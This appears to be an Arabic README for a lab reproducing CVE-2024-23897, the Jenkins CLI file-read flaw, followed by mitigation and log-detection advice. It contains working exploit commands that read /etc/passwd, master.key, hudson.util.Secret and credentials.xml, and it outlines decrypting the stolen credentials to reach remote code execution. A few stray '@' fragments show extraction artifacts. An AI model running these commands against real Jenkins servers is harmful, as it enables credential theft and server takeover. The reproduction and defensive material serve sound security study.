
استنساخ cve-2024-23897-jenkins_lfi_reproduction
CVSS 9.8 (حرجة) — يتم استغلالها بنشاط في البيئات الحقيقية
CVE-2024-23897 هي ثغرة حرجة لقراءة الملفات التعسفية في واجهة سطر الأوامر (CLI) الخاصة بـ Jenkins. تستخدم واجهة Jenkins CLI مكتبة args4j لتحليل وسائط الأوامر. تقوم هذه المكتبة بتوسيع الحرف @ المتبوع بمسار ملف (@/path/to/file) عن طريق قراءة محتويات ذلك الملف وحقنها كوسائط. يمكن لمهاجم غير مصادَق استغلال هذا السلوك لقراءة ملفات تعسفية على نظام ملفات وحدة تحكم Jenkins دون الحاجة إلى أي مصادقة.
عند دمجها مع استخراج credentials.xml أو secrets أو master.key، يمكن أن تؤدي هذه الثغرة إلى اختراق كامل للخادم (RCE).
@ في args4jتنفذ مكتبة args4j (المستخدمة في محلل أوامر Jenkins CLI) ميزة تسهيلية: عندما تبدأ وسيطة بالحرف ، فإنها تتعامل مع باقي الوسيطة كمسار ملف، وتقرأ محتوى الملف، وتقسّمه إلى وسائط متعددة. كان الهدف من ذلك هو السماح بتمرير قوائم وسائط كبيرة عبر الملفات.
@مثال: java -jar jenkins-cli.jar who-am-i @/etc/passwd سيتسبب في قيام args4j بقراءة /etc/passwd واستخدام محتوياته كوسائط لأمر who-am-i.
نظرًا لأن بعض أوامر CLI (مثل connect-node) تعيد عرض قيم الوسائط أو تتضمنها في رسائل/استجابات الخطأ، يمكن للمهاجم ملاحظة محتويات الملف في استجابة CLI.
@/etc/passwd| المنتج | الإصدارات المتأثرة | الإصدار المُصحَّح |
|---|---|---|
| Jenkins (أسبوعي) | ≤ 2.441 | 2.442 |
| Jenkins LTS | ≤ 2.426.2 | 2.426.3 |
| Jenkins LTS (سابق) | ≤ 2.414.2 | 2.414.3 |
ملاحظة: جميع إصدارات Jenkins الأقدم من الإصلاحات المذكورة أعلاه معرضة للخطر. ميزة CLI موجودة في Jenkins منذ سنوات عديدة، لذا فإن الإصدارات الأقدم تتأثر أيضًا حتى لو لم تُذكر صراحةً.
شغّل نسخة Jenkins معرضة للخطر باستخدام Docker:
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
لاحظ كلمة مرور المسؤول الأولية من سجلات الحاوية.
تحقق من أن منفذ CLI مفتوح:
# Jenkins CLI port (TCP 50000) should be listening
# Or you can use the HTTP CLI endpoint at /cli/
ثبّت Python 3.8+ مع التبعيات المطلوبة:
pip install requests
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd
# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar
# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1
# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1
تظهر محتويات الملف في استجابة CLI أو مخرجات الخطأ. على سبيل المثال، قراءة /etc/passwd ستعيد إدخالات ملف كلمات مرور النظام.
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml
# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret
# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml
باستخدام master.key و hudson.util.Secret، يمكنك فك تشفير بيانات اعتماد Jenkins باستخدام أدوات مثل jenkins_decrypt.py أو سكربت decrypt.py من مراجع CVE-2024-23897. يمكن بعد ذلك استخدام بيانات الاعتماد المفكوكة (مفاتيح SSH، رموز API، مفاتيح مزودي السحابة) لتحقيق تنفيذ تعليمات برمجية عن بُعد على العقد المتصلة والبيئات السحابية.
| الإجراء | التفاصيل |
|---|---|
| تحديث Jenkins | الترقية إلى Jenkins 2.442+ أو LTS 2.426.3+ / 2.414.3+ |
| تعطيل منفذ CLI | احجب منفذ TCP 50000 في جدار الحماية إذا لم يكن مطلوبًا |
| تقييد الوصول إلى الشبكة | اقتصار الوصول إلى منفذ Jenkins CLI على الشبكات الموثوقة فقط |
| تفعيل المصادقة | تأكد من أن Jenkins يتطلب المصادقة لجميع عمليات الوصول |
| مراقبة السجلات | ابحث عن أوامر CLI التي تحتوي على وسائط @ في سجلات الوصول |
ابحث في سجلات الوصول أو سجلات تدقيق CLI عن وسائط تحتوي على @ متبوعًا بمسارات ملفات:
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log
# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"
إذا لم يكن تطبيق التصحيح فورًا ممكنًا، فعطّل منفذ CLI عن طريق تعيين خيار --webroot أو حظر المنفذ 50000. ومع ذلك، لاحظ أن نقطة نهاية HTTP CLI (/cli/) داخل واجهة الويب قد تظل قابلة للاستغلال، لذلك يُنصح بشدة بتطبيق التصحيح.
هذا المستودع مخصص لأغراض اختبار الأمان المصرح به والتعليم فقط. الاستغلال غير المصرح به لهذه الثغرة غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام لهذه المعلومات. اختبر فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.